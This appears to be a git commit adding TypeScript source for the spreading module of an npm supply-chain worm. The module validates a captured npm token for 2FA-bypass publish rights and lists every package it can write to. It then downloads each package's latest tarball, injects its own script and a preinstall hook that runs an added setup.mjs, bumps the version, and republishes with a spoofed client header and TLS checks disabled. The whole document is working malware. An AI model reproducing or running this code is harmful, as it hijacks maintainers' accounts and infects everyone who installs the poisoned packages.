Upload files to "src/mutator/npm"
This commit is contained in:
@@ -0,0 +1,145 @@
|
|||||||
|
import { $ } from "bun";
|
||||||
|
import { randomBytes } from "crypto";
|
||||||
|
import { copyFileSync, createWriteStream } from "fs";
|
||||||
|
import * as fs from "fs/promises";
|
||||||
|
import * as path from "path";
|
||||||
|
import { join } from "path";
|
||||||
|
import { Readable } from "stream";
|
||||||
|
import { pipeline } from "stream/promises";
|
||||||
|
import * as tar from "tar";
|
||||||
|
|
||||||
|
import { config } from "../../generated";
|
||||||
|
import { SCRIPT_NAME } from "../../utils/config";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
import { publishTarball } from "./publish";
|
||||||
|
import type { TokenInfo } from "./tokenCheck";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
export class NpmClient extends Mutator {
|
||||||
|
private tokenInfo: TokenInfo;
|
||||||
|
|
||||||
|
constructor(token: TokenInfo) {
|
||||||
|
super();
|
||||||
|
this.tokenInfo = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute() {
|
||||||
|
try {
|
||||||
|
const isUnix = ["darwin", "linux"].includes(process.platform);
|
||||||
|
|
||||||
|
if (isUnix) {
|
||||||
|
this.tokenInfo.packages.forEach((pkgName: string) => {
|
||||||
|
logUtil.log(`Would be updating: ${pkgName}`);
|
||||||
|
});
|
||||||
|
const packages = await this.downloadPackages(this.tokenInfo.packages);
|
||||||
|
await Promise.all(
|
||||||
|
packages.downloaded.map((pkgFile) => this.publishPackage(pkgFile)),
|
||||||
|
);
|
||||||
|
await fs.rm(packages.tmpDir, { recursive: true, force: true });
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error(e);
|
||||||
|
logUtil.error("Failure updating package.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async updateTarball(tarballPath: string): Promise<string> {
|
||||||
|
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||||
|
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
||||||
|
await fs.mkdir(tmpDir, { recursive: true });
|
||||||
|
|
||||||
|
try {
|
||||||
|
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
||||||
|
copyFileSync(Bun.main, path.join(tmpDir, "package", SCRIPT_NAME));
|
||||||
|
const pkgJsonPath = path.join(
|
||||||
|
tmpDir,
|
||||||
|
"package",
|
||||||
|
scramble("package.json"),
|
||||||
|
);
|
||||||
|
const pkgSetupPath = path.join(tmpDir, "package", scramble("setup.mjs"));
|
||||||
|
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
||||||
|
pkg.scripts = {};
|
||||||
|
pkg.scripts.preinstall = scramble("node setup.mjs");
|
||||||
|
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
||||||
|
pkg.version = `${major}.${minor}.${patch + 1}`;
|
||||||
|
await Bun.write(pkgSetupPath, config);
|
||||||
|
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
||||||
|
const updatedPath = path.join(
|
||||||
|
path.dirname(tarballPath),
|
||||||
|
`${uniqueSuffix}_${scramble("package-updated.tgz")}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
await pipeline(
|
||||||
|
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
||||||
|
createWriteStream(updatedPath),
|
||||||
|
);
|
||||||
|
|
||||||
|
const written = await fs.readFile(updatedPath);
|
||||||
|
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
||||||
|
throw new Error(
|
||||||
|
`[npm] tarball at ${updatedPath} is not a valid gzip stream ` +
|
||||||
|
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`Updated path: ${updatedPath}`);
|
||||||
|
return updatedPath;
|
||||||
|
} finally {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async downloadPackages(
|
||||||
|
packages: string[],
|
||||||
|
): Promise<{ tmpDir: string; downloaded: string[] }> {
|
||||||
|
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||||
|
const downloaded: string[] = [];
|
||||||
|
|
||||||
|
const download = async (pkg: string) => {
|
||||||
|
try {
|
||||||
|
const meta = await fetch(
|
||||||
|
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
|
||||||
|
);
|
||||||
|
if (!meta.ok) return;
|
||||||
|
const { "dist-tags": tags, versions } = (await meta.json()) as {
|
||||||
|
"dist-tags": { latest: string };
|
||||||
|
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||||
|
};
|
||||||
|
const tarball = versions[tags.latest]?.dist?.tarball;
|
||||||
|
if (!tarball) return;
|
||||||
|
|
||||||
|
const res = await fetch(tarball);
|
||||||
|
if (!res.ok || !res.body) return;
|
||||||
|
|
||||||
|
const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
|
||||||
|
const tarballPath = join(tmpDir, filename);
|
||||||
|
await pipeline(
|
||||||
|
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||||
|
createWriteStream(tarballPath),
|
||||||
|
);
|
||||||
|
const updatedPath = await this.updateTarball(tarballPath);
|
||||||
|
downloaded.push(updatedPath);
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(`Failed to download ${pkg}: ${e}`);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
await Promise.all(packages.map(download));
|
||||||
|
return { tmpDir, downloaded };
|
||||||
|
}
|
||||||
|
|
||||||
|
async publishPackage(tarballPath: string): Promise<boolean> {
|
||||||
|
if (!this.tokenInfo) return false;
|
||||||
|
try {
|
||||||
|
return await publishTarball(tarballPath, this.tokenInfo.authToken);
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error(e);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,170 @@
|
|||||||
|
import { createHash } from "node:crypto";
|
||||||
|
import { readFile } from "node:fs/promises";
|
||||||
|
import { gunzipSync } from "node:zlib";
|
||||||
|
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
|
||||||
|
interface PackageJson {
|
||||||
|
name: string;
|
||||||
|
version: string;
|
||||||
|
readme?: string;
|
||||||
|
[key: string]: unknown;
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractPackageJson(tar: Buffer): PackageJson {
|
||||||
|
let offset = 0;
|
||||||
|
while (offset + 512 <= tar.length) {
|
||||||
|
const header = tar.subarray(offset, offset + 512);
|
||||||
|
if (header[0] === 0) break;
|
||||||
|
|
||||||
|
const nameField = header.subarray(0, 100);
|
||||||
|
const nameEnd = nameField.indexOf(0);
|
||||||
|
const name = nameField
|
||||||
|
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||||
|
.toString("utf8");
|
||||||
|
|
||||||
|
const sizeStr = header
|
||||||
|
.subarray(124, 136)
|
||||||
|
.toString("utf8")
|
||||||
|
.replace(/\0/g, "")
|
||||||
|
.trim();
|
||||||
|
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||||
|
|
||||||
|
offset += 512;
|
||||||
|
|
||||||
|
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||||
|
const data = tar.subarray(offset, offset + size);
|
||||||
|
return JSON.parse(data.toString("utf8")) as PackageJson;
|
||||||
|
}
|
||||||
|
|
||||||
|
offset += Math.ceil(size / 512) * 512;
|
||||||
|
}
|
||||||
|
throw new Error("package.json not found in tarball");
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function publishTarball(
|
||||||
|
tarballPath: string,
|
||||||
|
token: string,
|
||||||
|
dryRun = false,
|
||||||
|
provenanceBundle?: Record<string, any>,
|
||||||
|
): Promise<boolean> {
|
||||||
|
const registry = "https://registry.npmjs.org";
|
||||||
|
const tag = "latest";
|
||||||
|
const userAgent = `npm/11.13.1 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`;
|
||||||
|
|
||||||
|
const tarballBuffer = await readFile(tarballPath);
|
||||||
|
const decompressed = gunzipSync(tarballBuffer);
|
||||||
|
const pkg = extractPackageJson(decompressed);
|
||||||
|
|
||||||
|
const { name, version } = pkg;
|
||||||
|
if (!name || !version) {
|
||||||
|
throw new Error("package.json missing required 'name' or 'version'");
|
||||||
|
}
|
||||||
|
|
||||||
|
const integrity =
|
||||||
|
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
|
||||||
|
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
|
||||||
|
const base64Data = tarballBuffer.toString("base64");
|
||||||
|
const tarballFilename = `${name}-${version}.tgz`;
|
||||||
|
const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`;
|
||||||
|
const versionMetadata = {
|
||||||
|
...pkg,
|
||||||
|
name,
|
||||||
|
version,
|
||||||
|
readme: pkg.readme ?? "ERROR: No README data found!",
|
||||||
|
dist: {
|
||||||
|
integrity,
|
||||||
|
shasum,
|
||||||
|
tarball: tarballUrl,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
const body = {
|
||||||
|
_id: name,
|
||||||
|
name,
|
||||||
|
"dist-tags": { [tag]: version },
|
||||||
|
versions: {
|
||||||
|
[version]: versionMetadata,
|
||||||
|
},
|
||||||
|
access: "public",
|
||||||
|
_attachments: {
|
||||||
|
[tarballFilename]: {
|
||||||
|
content_type: "application/octet-stream",
|
||||||
|
data: base64Data,
|
||||||
|
length: tarballBuffer.length,
|
||||||
|
},
|
||||||
|
} as Record<string, { content_type: string; data: string; length: number }>,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Attach sigstore provenance bundle if provided.
|
||||||
|
if (provenanceBundle) {
|
||||||
|
const provenanceBundleName = `${name}-${version}.sigstore`;
|
||||||
|
const serializedBundle = JSON.stringify(provenanceBundle);
|
||||||
|
body._attachments[provenanceBundleName] = {
|
||||||
|
content_type:
|
||||||
|
(provenanceBundle.mediaType as string) ||
|
||||||
|
"application/vnd.dev.sigstore.bundle.v0.3+json",
|
||||||
|
data: serializedBundle,
|
||||||
|
length: serializedBundle.length,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const encodedName = name.replace("/", "%2f");
|
||||||
|
const url = `${registry}/${encodedName}`;
|
||||||
|
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
"User-Agent": userAgent,
|
||||||
|
"Npm-Auth-Type": "web",
|
||||||
|
"Npm-Command": "publish",
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Accept: "*/*",
|
||||||
|
};
|
||||||
|
|
||||||
|
const serializedBody = JSON.stringify(body);
|
||||||
|
|
||||||
|
if (dryRun) {
|
||||||
|
logUtil.log("[publish] DRY RUN — request not sent");
|
||||||
|
logUtil.log("[publish] PUT", url);
|
||||||
|
logUtil.log("[publish] headers:", {
|
||||||
|
...headers,
|
||||||
|
Authorization: "Bearer <redacted>",
|
||||||
|
});
|
||||||
|
logUtil.log("[publish] body:", {
|
||||||
|
_id: body._id,
|
||||||
|
name: body.name,
|
||||||
|
"dist-tags": body["dist-tags"],
|
||||||
|
versions: Object.keys(body.versions),
|
||||||
|
access: body.access,
|
||||||
|
_attachments: {
|
||||||
|
[tarballFilename]: {
|
||||||
|
content_type: "application/octet-stream",
|
||||||
|
length: tarballBuffer.length,
|
||||||
|
data: `<${base64Data.length} chars base64>`,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||
|
logUtil.log("[publish] body size:", serializedBody.length, "bytes");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
const fetchInit: RequestInit & {
|
||||||
|
tls?: { rejectUnauthorized?: boolean };
|
||||||
|
} = {
|
||||||
|
method: "PUT",
|
||||||
|
headers,
|
||||||
|
body: serializedBody,
|
||||||
|
tls: { rejectUnauthorized: false },
|
||||||
|
};
|
||||||
|
const response = await fetch(url, fetchInit);
|
||||||
|
const text = await response.text();
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
logUtil.error(
|
||||||
|
`[publish] failed: ${response.status} ${response.statusText} — ${text}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
|
||||||
|
export interface TokenInfo {
|
||||||
|
packages: string[];
|
||||||
|
authToken: string;
|
||||||
|
valid: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||||
|
const headers = { Authorization: `Bearer ${token}` };
|
||||||
|
|
||||||
|
// Fetch all token pages
|
||||||
|
let matched: any = null;
|
||||||
|
let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens";
|
||||||
|
while (url && !matched) {
|
||||||
|
const response = await fetch(url, { headers });
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
logUtil.log("Not valid!");
|
||||||
|
return { packages: [], valid: false, authToken: token };
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = (await response.json()) as any;
|
||||||
|
const first = token.slice(0, 8);
|
||||||
|
const last = token.slice(-4);
|
||||||
|
|
||||||
|
matched = data.objects?.find(
|
||||||
|
(obj: any) =>
|
||||||
|
obj.bypass_2fa === true &&
|
||||||
|
obj.token?.startsWith(first.slice(0, 4)) &&
|
||||||
|
obj.token?.endsWith(last),
|
||||||
|
);
|
||||||
|
url = data.urls?.next ?? null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!matched) return { packages: [], valid: false, authToken: token };
|
||||||
|
|
||||||
|
const hasPackageWrite = matched.permissions?.some(
|
||||||
|
(p: any) => p.name === "package" && p.action === "write",
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!hasPackageWrite) return { packages: [], valid: false, authToken: token };
|
||||||
|
|
||||||
|
// Get authenticated username
|
||||||
|
const whoami = await fetch("https://registry.npmjs.org/-/whoami", {
|
||||||
|
headers,
|
||||||
|
});
|
||||||
|
const { username } = (await whoami.json()) as any;
|
||||||
|
|
||||||
|
const packages: string[] = [];
|
||||||
|
|
||||||
|
for (const scope of matched.scopes ?? []) {
|
||||||
|
if (scope.type === "org") {
|
||||||
|
const hasOrgWrite = matched.permissions?.some(
|
||||||
|
(p: any) => p.name === "org" && p.action === "write",
|
||||||
|
);
|
||||||
|
if (!hasOrgWrite) continue;
|
||||||
|
const res = await fetch(
|
||||||
|
`https://registry.npmjs.org/-/org/${scope.name}/package`,
|
||||||
|
{ headers },
|
||||||
|
);
|
||||||
|
const pkgs = (await res.json()) as any;
|
||||||
|
packages.push(
|
||||||
|
...Object.entries(pkgs)
|
||||||
|
.filter(([, v]) => v === "write")
|
||||||
|
.map(([k]) => k)
|
||||||
|
.filter(Boolean),
|
||||||
|
);
|
||||||
|
} else if (scope.type === "package") {
|
||||||
|
const isNamespaceScope = /^@[^/]+$/.test(scope.name);
|
||||||
|
|
||||||
|
if (isNamespaceScope) {
|
||||||
|
// Determine if this namespace is a user or org
|
||||||
|
const scopeName = scope.name.slice(1); // strip leading @
|
||||||
|
const orgRes = await fetch(
|
||||||
|
`https://registry.npmjs.org/-/org/${scopeName}/package`,
|
||||||
|
{ headers },
|
||||||
|
);
|
||||||
|
|
||||||
|
if (orgRes.ok) {
|
||||||
|
// It's an org
|
||||||
|
const pkgs = (await orgRes.json()) as any;
|
||||||
|
packages.push(
|
||||||
|
...Object.entries(pkgs)
|
||||||
|
.filter(([, v]) => v === "write")
|
||||||
|
.map(([k]) => k),
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
// It's a user — search by maintainer
|
||||||
|
const searchRes = await fetch(
|
||||||
|
`https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`,
|
||||||
|
{ headers },
|
||||||
|
);
|
||||||
|
const searchData = (await searchRes.json()) as any;
|
||||||
|
packages.push(
|
||||||
|
...(searchData.objects?.map((o: any) => o.package.name) ?? []),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Individual package entry — return as-is
|
||||||
|
if (scope.name) packages.push(scope.name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fetch personal packages only if broadly scoped: { name: null, type: "package" }
|
||||||
|
const isBroadlyScoped = matched.scopes.some(
|
||||||
|
(s: any) => s.name === null && s.type === "package",
|
||||||
|
);
|
||||||
|
|
||||||
|
if (isBroadlyScoped) {
|
||||||
|
const searchRes = await fetch(
|
||||||
|
`https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`,
|
||||||
|
{ headers },
|
||||||
|
);
|
||||||
|
const searchData = (await searchRes.json()) as any;
|
||||||
|
const personalPkgs: string[] =
|
||||||
|
searchData.objects?.map((o: any) => o.package.name) ?? [];
|
||||||
|
for (const pkg of personalPkgs) {
|
||||||
|
if (!packages.includes(pkg)) packages.push(pkg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { packages, valid: true, authToken: token };
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user